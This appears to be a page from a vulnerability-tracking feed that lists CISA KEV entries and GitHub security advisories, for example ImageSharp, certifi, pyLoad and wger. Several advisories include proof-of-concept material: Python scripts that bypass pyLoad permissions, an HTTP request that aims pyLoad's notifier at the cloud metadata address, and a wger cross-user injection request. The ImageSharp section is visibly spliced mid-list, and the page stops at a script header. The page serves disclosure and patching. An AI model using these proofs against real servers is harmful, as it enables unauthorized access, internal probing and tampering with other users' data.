CISA KEV entry CVE-2020-10189: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-10189&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zoho ManageEngine ServiceDesk Plus (SDP) File Upload Vulnerability
https://kevwire.com/record/CVE-2019-8394
Zoho ManageEngine ServiceDesk Plus (SDP) File Upload Vulnerability (Nov 3, 2021).
Zoho ManageEngine ServiceDesk Plus (SDP) contains an unspecified vulnerability that allows remote users to upload files via login page customization.
EPSS 63.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-8394&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-8394: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-8394&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel Multiple Products Use of Hard-Coded Credentials Vulnerability
https://kevwire.com/record/CVE-2020-29583
Zyxel Multiple Products Use of Hard-Coded Credentials Vulnerability (Nov 3, 2021).
Zyxel firewalls (ATP, USG, VM) and AP Controllers (NXC2500 and NXC5500) contain a use of hard-coded credentials vulnerability in an undocumented account ("zyfwp") with an unchangeable password.
EPSS 90.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-29583&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-29583: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-29583&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache CXF has Improper Restriction of XML External Entity Reference
https://kevwire.com/record/CVE-2026-49875
Apache CXF has Improper Restriction of XML External Entity Reference (Jun 12, 2026).
Apache CXF's EndpointReferenceUtils and W3CMultiSchemaFactory classes construct a SAXParserFactory without the necessary JAXP hardening configurations, enabling out-of-band (OOB) external entity resolution. Users are recommended to upgrade to versions 4.2.2 or 4.1.7 or 3.6.12, which fix this issue.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-xw5h-cmh3-8j6j).
Sources:
GitHub-reviewed advisory GHSA-xw5h-cmh3-8j6j: https://github.com/advisories/GHSA-xw5h-cmh3-8j6j
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Apache CXF's EndpointReferenceUtils and W3CMultiSchemaFactory classes construct a SAXParserFactory without the necessary JAXP hardening configurations, enabling out-of-band (OOB) external entity resolution. Users are recommended to upgrade to versions 4.2.2 or 4.1.7 or 3.6.12, which fix this issue.

Affected package ranges reported by GitHub:
org.apache.cxf:cxf-core: >= 4.2.0, < 4.2.2
org.apache.cxf:cxf-core: >= 4.0.0, < 4.1.7
org.apache.cxf:cxf-core: < 3.6.12
Action: GitHub lists first patched versions: org.apache.cxf:cxf-core: 4.2.2; org.apache.cxf:cxf-core: 4.1.7; org.apache.cxf:cxf-core: 3.6.12. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ImageSharp: Tiled fax TIFF: tile buffer sized by TileWidth but fax decompressor writes scanlines of ImageWidth — heap OOB write
https://kevwire.com/record/CVE-2026-106118
ImageSharp: Tiled fax TIFF: tile buffer sized by TileWidth but fax decompressor writes scanlines of ImageWidth — heap OOB write (Oct 7, 2026).
When decoding a tiled TIFF with fax compression (T4/T6/MH), `DecodeTilesChunky` allocates each tile buffer from **TileWidth** (`ceil(TileWidth*bpp/8)*TileLength` bytes) but constructs the fax decompressor with **frame.Width**: `TiffDecompressorsFactory` ignores the `isTiled/tileWidth/tileHeight` parameters entirely. The T4/T6/MH decompressors treat the full image width as the scanline length and advance (and really write, via read-modify-write bit ops) `frame.Width` bits per row, with no bounds check against the tile buffer. The very first tile therefore writes linearly out of bounds — about `ImageWidth/8` bytes per row × TileLength rows into a `TileWidth`-sized buffer. With ImageWidth=4,000,000, TileWidth=16, TileLength=16 this writes ~2 MB past a 32-byte buffer and kills the process deterministically; a T6 all-white variant advances the bit offset by >512 MB silently, showing an alarm-free heap-corruption window for the same defect. A crafted file fully controls the OOB length per tile and works with perfectly legal per-row run codes (no overlong runs needed).

Verified at commit `5cd4d0d26a82a9549f297a237aea9cf665bddff8` (main; latest release v4.1.0, the supported major).
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-v76p-62qx-wwq2).
Sources:
GitHub-reviewed advisory GHSA-v76p-62qx-wwq2: https://github.com/advisories/GHSA-v76p-62qx-wwq2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Summary

When decoding a tiled TIFF with fax compression (T4/T6/MH), `DecodeTilesChunky` allocates each tile buffer from **TileWidth** (`ceil(TileWidth*bpp/8)*TileLength` bytes) but constructs the fax decompressor with **frame.Width**: `TiffDecompressorsFactory` ignores the `isTiled/tileWidth/tileHeight` parameters entirely. The T4/T6/MH decompressors treat the full image width as the scanline length and advance (and really write, via read-modify-write bit ops) `frame.Width` bits per row, with no bounds check against the tile buffer. The very first tile therefore writes linearly out of bounds — about `ImageWidth/8` bytes per row × TileLength rows into a `TileWidth`-sized buffer. With ImageWidth=4,000,000, TileWidth=16, TileLength=16 this writes ~2 MB past a 32-byte buffer and kills the process deterministically; a T6 all-white variant advances the bit offset by >512 MB silently, showing an alarm-free heap-corruption window for the same defect. A crafted file fully controls the OOB length per tile and works with perfectly legal per-row run codes (no overlong runs needed).

Verified at commit `5cd4d0d26a82a9549f297a237aea9cf665bddff8` (main; latest release v4.1.0, the supported major).

## Details

Root cause: a size mismatch between tile buffer allocation and decompressor width, because the factory drops the tile parameters.

- Allocation: [TiffDecoderCore.cs#L792-L794](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/TiffDecoderCore.cs#L792-L794) — `bytesPerTileRow = RoundUpToMultipleOfEight(tileWidth*bitsPerPixel)`; tile buffer = `bytesPerTileRow*tileLength` bytes (32 bytes in the PoC)
- Mismatch: [TiffDecoderCore.cs#L797](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/TiffDecoderCore.cs#L797) — `CreateDecompressor (frame.Width, ..., isTiled: true, tileWidth, tileLength)` passes the full frame width
- Factory drops tile params: [TiffDecompressorsFactory.cs#L56-L64](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/TiffDecompressorsFactory.cs#L56-L64) — T4/T6/MH decompressors receive only `width` (= frame.Width); `isTiled/tileWidth/tileHeight` ignored
- OOB write sink: [T4TiffCompression.cs#L69-L119](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/Decompressors/T4TiffCompression.cs#L69-L119), `T6TiffCompression.cs#L76-L108` — per-row advance of `this.width` bits via `BitWriterUtils.WriteBits` with no buffer-length check ([BitWriterUtils.cs#L51](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/BitWriterUtils.cs#L51)); note `TiffDecoderCore.cs:829-831` later reads the buffer in `bytesPerTileRow` strides, confirming the protocol expects tile-width rows

Attack surface: `Image.Load(stream)` on an attacker-supplied tiled TIFF (`TiffDecoderCore.DecodeImageWithTiles` → `DecodeTilesChunky`). Default configuration; only requirement is a standard tiled TIFF header (TileWidth=16, TileLength=16) + Compression=3 (T4; T6 also constructible).

**Suggested remediation:**
1. Short-term: when `isTiled`, construct the T4/T6/MH decompressor with `tileWidth` (not frame width), or clip row writes to the caller-provided buffer length.
2. Root fix: bound the write side of `BitWriterUtils` (pass remaining bits), and validate every fax row advance against buffer capacity on both tiled and strip paths.
3. Regression tests: Compression=2/3/4 × tiled with TileWidth , IntPtr, IntPtr, Byte)
 at ...T4TiffCompression.WritePixelRun(...)
 at ...T4TiffCompression.Decompress(...)
 Aborted (core dumped); exit=134
 ```

3. Controls: the same file with Compression=None decodes normally (container is fine); a T6 all-white-rows variant advances >512 MB of bit offset without a real write (silent corruption window) before tripping on a directory-level TileOffsets count check.

## Impact

- **What it is:** out-of-bounds write (CWE-787). For any service decoding untrusted tiled TIFFs: remote, default-configuration, deterministic process crash (DoS), plus a heap OOB write whose per-tile length and row width are attacker-tunable — a potential code-execution surface. This is a vulnerability in the library itself, in scope of your SECURITY.md.
- **Who is impacted:** applications decoding untrusted TIFF with SixLabors.ImageSharp at the current major (verified on main past v4.1.0); tiled + fax-compressed files are the trigger, which ordinary TIFF writers can produce.

---

---

Reported by **Kimi Security Team** (bug-report@moonshot.ai).

Affected package ranges reported by GitHub:
SixLabors.ImageSharp: >= 3.0.0, < 3.2.0
SixLabors.ImageSharp: >= 4.0.0, < 4.1.1
Action: GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### certifi bundles emSign root CAs with compromised intermediate CA keys
https://kevwire.com/record/GHSA-6q48-6c7w-9gw2
certifi bundles emSign root CAs with compromised intermediate CA keys (Oct 20, 2026).
Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. 

An attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer.
CVSS 9.1 (version 4.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-6q48-6c7w-9gw2).
Sources:
GitHub-reviewed advisory GHSA-6q48-6c7w-9gw2: https://github.com/advisories/GHSA-6q48-6c7w-9gw2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. 

An attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer.

Certifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi.

Affected package ranges reported by GitHub:
certifi: >= 2019.03.09, < 2026.10.18
Action: GitHub lists first patched versions: certifi: 2026.10.18. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
https://kevwire.com/record/CVE-2026-40071
pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions (Apr 8, 2026).
Confirmed mismatches:
- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`
- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`

But WebUI JSON routes use weaker checks:
- `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)
- `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)
- `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)
CVSS 5.4 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-rfgh-63mg-8pwm).
Sources:
GitHub-reviewed advisory GHSA-rfgh-63mg-8pwm: https://github.com/advisories/GHSA-rfgh-63mg-8pwm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.

Confirmed mismatches:
- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`
- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`

### Details
pyLoad defines granular permissions in core API:
- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)
- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)
- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)

But WebUI JSON routes use weaker checks:
- `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)
- `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)
- `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)

Why this is likely unintended (not just convenience):
- The same JSON blueprint correctly protects other edit actions with `MODIFY`:
 - `/json/move_package` -> `@login_required("MODIFY")` (`json_blueprint.py:188-196`)
 - `/json/edit_package` -> `@login_required("MODIFY")` (`json_blueprint.py:202-217`)
- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.

### PoC
Environment:
- Repository version: `0.5.0b3` (`VERSION` file)
- Commit tested: `ddc53b3d7`

PoC A (ADD-only user invokes MODIFY-only reorder):
```python
import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
 def __init__(self):
 self.calls = []

 def user_exists(self, username):
 return username == 'attacker'

 def order_package(self, pack_id, pos):
 self.calls.append(('order_package', int(pack_id), int(pos)))

 def order_file(self, file_id, pos):
 self.calls.append(('order_file', int(file_id), int(pos)))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
 with c.session_transaction() as s:
 s['authenticated'] = True
 s['name'] = 'attacker'
 s['role'] = int(Role.USER)
 s['perms'] = int(Perms.ADD)

 r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
 r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})

print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
```

Observed output:
```text
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
```

PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
```python
import os
import sys
from types import SimpleNamespace

sys.path.insert(0, os.path.abspath('src'))

from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint

class FakeApi:
 def __init__(self):
 self.calls = []

 def user_exists(self, username):
 return username == 'u'

 def stop_downloads(self, ids):
 self.calls.append(('stop_downloads', ids))

api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))

app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)

with app.test_client() as c:
 with c.session_transaction() as s:
 s['authenticated'] = True
 s['name'] = 'u'
 s['role'] = int(Role.USER)
 s['perms'] = int(Perms.DELETE)

 r = c.post('/json/abort_link', json={'link_id': 999})

print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)
```

Observed output:
```text
API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]
```

### Impact
Type:
- Improper authorization / permission-bypass between WebUI and core API permission model.

Scope:
- Horizontal privilege escalation among authenticated non-admin users.
- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.

Security impact:
- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.
- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.

Affected package ranges reported by GitHub:
pyload-ng: < 0.5.0b3.dev97
Action: GitHub lists first patched versions: pyload-ng: 0.5.0b3.dev97. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host
https://kevwire.com/record/GHSA-p3pr-8f3m-4qp8
pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host (Oct 9, 2026).
pyLoad ships the WindowsPhoneNotify addon, whose `send()` method opens an HTTP connection to a host taken directly from the plugin's `pushurl` configuration value. A user holding the standard non-admin `SETTINGS` permission can set `pushurl` and `pushid` and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events fire globally, not per user) causes the addon to send an HTTP POST to the configured host and path. The request is made with Python's `http.client.HTTPConnection`, so it never passes through pyLoad's pycurl-based outbound connection guard. The attacker can therefore direct blind POST requests at internal hosts such as loopback services, RFC 1918 addresses, or the cloud metadata endpoint `169.254.169.254`.

pyLoad enforces its outbound SSRF protection only inside the pycurl request path, where a `PREREQFUNCTION` callback calls `is_global_address()` on the resolved peer IP before each connection. The WindowsPhoneNotify addon uses a completely separate HTTP client (`http.client.HTTPConnection`) that is never subjected to that callback and performs no address validation of its own. In addition, the API config-write authorization only guards a narrow hard-coded set of plugin options, which does not include the WindowsPhoneNotify host and path fields, so a non-admin user can point the notifier at any destination.
CVSS 6.4 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-p3pr-8f3m-4qp8).
Sources:
GitHub-reviewed advisory GHSA-p3pr-8f3m-4qp8: https://github.com/advisories/GHSA-p3pr-8f3m-4qp8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Summary

pyLoad ships the WindowsPhoneNotify addon, whose `send()` method opens an HTTP connection to a host taken directly from the plugin's `pushurl` configuration value. A user holding the standard non-admin `SETTINGS` permission can set `pushurl` and `pushid` and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events fire globally, not per user) causes the addon to send an HTTP POST to the configured host and path. The request is made with Python's `http.client.HTTPConnection`, so it never passes through pyLoad's pycurl-based outbound connection guard. The attacker can therefore direct blind POST requests at internal hosts such as loopback services, RFC 1918 addresses, or the cloud metadata endpoint `169.254.169.254`.

## Root Cause

pyLoad enforces its outbound SSRF protection only inside the pycurl request path, where a `PREREQFUNCTION` callback calls `is_global_address()` on the resolved peer IP before each connection. The WindowsPhoneNotify addon uses a completely separate HTTP client (`http.client.HTTPConnection`) that is never subjected to that callback and performs no address validation of its own. In addition, the API config-write authorization only guards a narrow hard-coded set of plugin options, which does not include the WindowsPhoneNotify host and path fields, so a non-admin user can point the notifier at any destination.

```text
Affected symbols:
- WindowsPhoneNotify.send (src/pyload/plugins/addons/WindowsPhoneNotify.py): opens http.client.HTTPConnection(url) on the attacker-controlled pushurl with no destination check.
- Api.set_config_value (src/pyload/core/api/__init__.py): ADMIN_ONLY_PLUGIN_OPTIONS contains only AntiVirus entries, so a non-admin SETTINGS user can write the WindowsPhoneNotify pushurl, pushid, and enabled values.
```

## Impact

An authenticated user with the non-admin `SETTINGS` permission can cause the pyLoad server to issue blind HTTP POST requests to arbitrary internal hosts, ports, and paths that the user cannot reach directly. The attacker controls the destination host and port (`pushurl`), the request path (`pushid`), and part of the XML request body (through file and package names surfaced in the notification text). Because the request is blind, response bodies are not returned; the demonstrated capability is internal service discovery, port and host probing through timing or error differences, cloud metadata endpoint reachability where the network routes it, and triggering state changes on internal HTTP endpoints that act on POST requests. Confidentiality and integrity impact are limited but real; no direct availability impact was demonstrated.

## Proof of Concept

```text
Preconditions: an authenticated pyLoad account with the SETTINGS permission (128), a network path from the pyLoad host to the chosen internal target, and at least one download that completes to fire the notification event.
```

1. As a user with the `SETTINGS` permission, POST to `/json/save_config` with `category="plugin"` and config values `WindowsPhoneNotify|pushurl=169.254.169.254`, `WindowsPhoneNotify|pushid=/latest/meta-data/`, and `WindowsPhoneNotify|enabled=True`.
2. The write is accepted because `(WindowsPhoneNotify, pushurl)` is not in the admin-only option set, and setting `enabled` to true triggers the addon manager's dynamic activation callback, loading the plugin immediately.
3. Allow (or cause) any download to finish. The global `download_finished` event iterates activated addons and invokes the notifier.

```text
POST /json/save_config HTTP/1.1
Host: pyload.target
Cookie: 
Content-Type: application/x-www-form-urlencoded

category=plugin&config=%7B%22WindowsPhoneNotify%7Cenabled%22%3A%22True%22%2C%22WindowsPhoneNotify%7Cpushurl%22%3A%22169.254.169.254%22%2C%22WindowsPhoneNotify%7Cpushid%22%3A%22%2Flatest%2Fmeta-data%2F%22%7D
```

```text
Observed result: on the next completed download, the pyLoad process opens a TCP connection to 169.254.169.254:80 and sends "POST /latest/meta-data/" with a text/xml notification body. The connection is made by http.client.HTTPConnection with no address validation.
```

## Attack Chain

1. **Exposure:** The `/json/save_config` web endpoint is network reachable and gated only by `login_required("SETTINGS")`, a standard non-admin permission bit.
2. **Control:** The attacker supplies the notifier `pushurl` (host and port), `pushid` (request path), and `enabled` flag as config values.
3. **Path:** `set_config_value` writes the plugin options; the addon manager's config-change callback fires on `enabled` and activates the addon without a restart; a completed download dispatches the global `download_finished` event to activated addons.
4. **Guard:** The config-write check consults `ADMIN_ONLY_PLUGIN_OPTIONS`, which lists only two AntiVirus options, so the notifier fields pass; the notifier rate and client-connection checks do not block the request; the pycurl `PREREQFUNCTION` SSRF guard and `is_global_address` are never invoked on this path.
5. **Primitive:** `WindowsPhoneNotify.send()` calls `http.client.HTTPConnection(pushurl)` and issues a POST to `pushid`.
6. **Result:** A blind HTTP POST reaches an attacker-chosen internal host and path from the pyLoad server's network position.

## Bypass Evidence

pyLoad's outbound SSRF protection lives entirely in the pycurl request path: `is_global_address()` is called only from the pycurl `PREREQFUNCTION` callback, and `is_global_host()` is called only from URL parsing for user-submitted download links. Neither helper appears anywhere in the notifier dispatch path. The WindowsPhoneNotify sink uses `http.client.HTTPConnection`, which has no relationship to pycurl and no destination validation, so the guard is not bypassed by a payload trick but is simply not present on this code path. Attempts to disprove the finding were made and 

Affected package ranges reported by GitHub:
pyload-ng: <= 0.5.0b3.dev101
Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
https://kevwire.com/record/CVE-2026-46438
wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry (Oct 7, 2026).
An authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error.

Because `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-rjpf-7pf5-q54x).
Sources:
GitHub-reviewed advisory GHSA-rjpf-7pf5-q54x: https://github.com/advisories/GHSA-rjpf-7pf5-q54x
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Summary

An authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error.

Because `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.

### Details

wger uses a centralized ownership-verification pattern in `WgerOwnerObjectModelViewSet.create()` (file: `wger/utils/viewsets.py`). This method iterates over the list returned by each ViewSet's `get_owner_objects()` and verifies that every listed foreign-key value in the request belongs to the authenticated user. **Foreign keys not present in the list are never checked.**

`WorkoutLogViewSet.get_owner_objects()` returns:

```python
# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
 return [(Routine, 'routine'), (WorkoutSession, 'session')]
 # ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked
 # (SlotEntry, 'slot_entry') is MISSING
```

Because `slot_entry` is omitted, an attacker can supply their own `routine` (which passes the ownership check) alongside a victim's `slot_entry` ID (which is never verified).

The second contributing factor is in `SlotEntry.get_config_data()`:

```python
# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all()) # no .filter(user=...)
```

This reverse-relation query returns **all** `WorkoutLog` rows linked to the `SlotEntry`, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.

### PoC

#### Prerequisites

- Two authenticated user accounts (attacker and victim)
- The attacker knows (or can enumerate) the victim's `SlotEntry` ID
- The attacker has at least one `Routine` of their own (to satisfy the `routine` ownership check)

#### Attack Steps

```
POST /api/v2/workoutlog/
Authorization: Token 
Content-Type: application/json

{
 "routine": ,
 "slot_entry": ,
 "exercise": ,
 "repetitions": 999,
 "weight": 999,
 "repetitions_unit": 1,
 "weight_unit": 1,
 "date": "2025-01-15",
 "iteration": 1
}
```

**Expected:** HTTP 403 (the `slot_entry` belongs to another user)
**Actual:** HTTP 201 (the log is created and linked to the victim's `SlotEntry`)

#### Proof of Concept Script

```python
#!/usr/bin/env python3
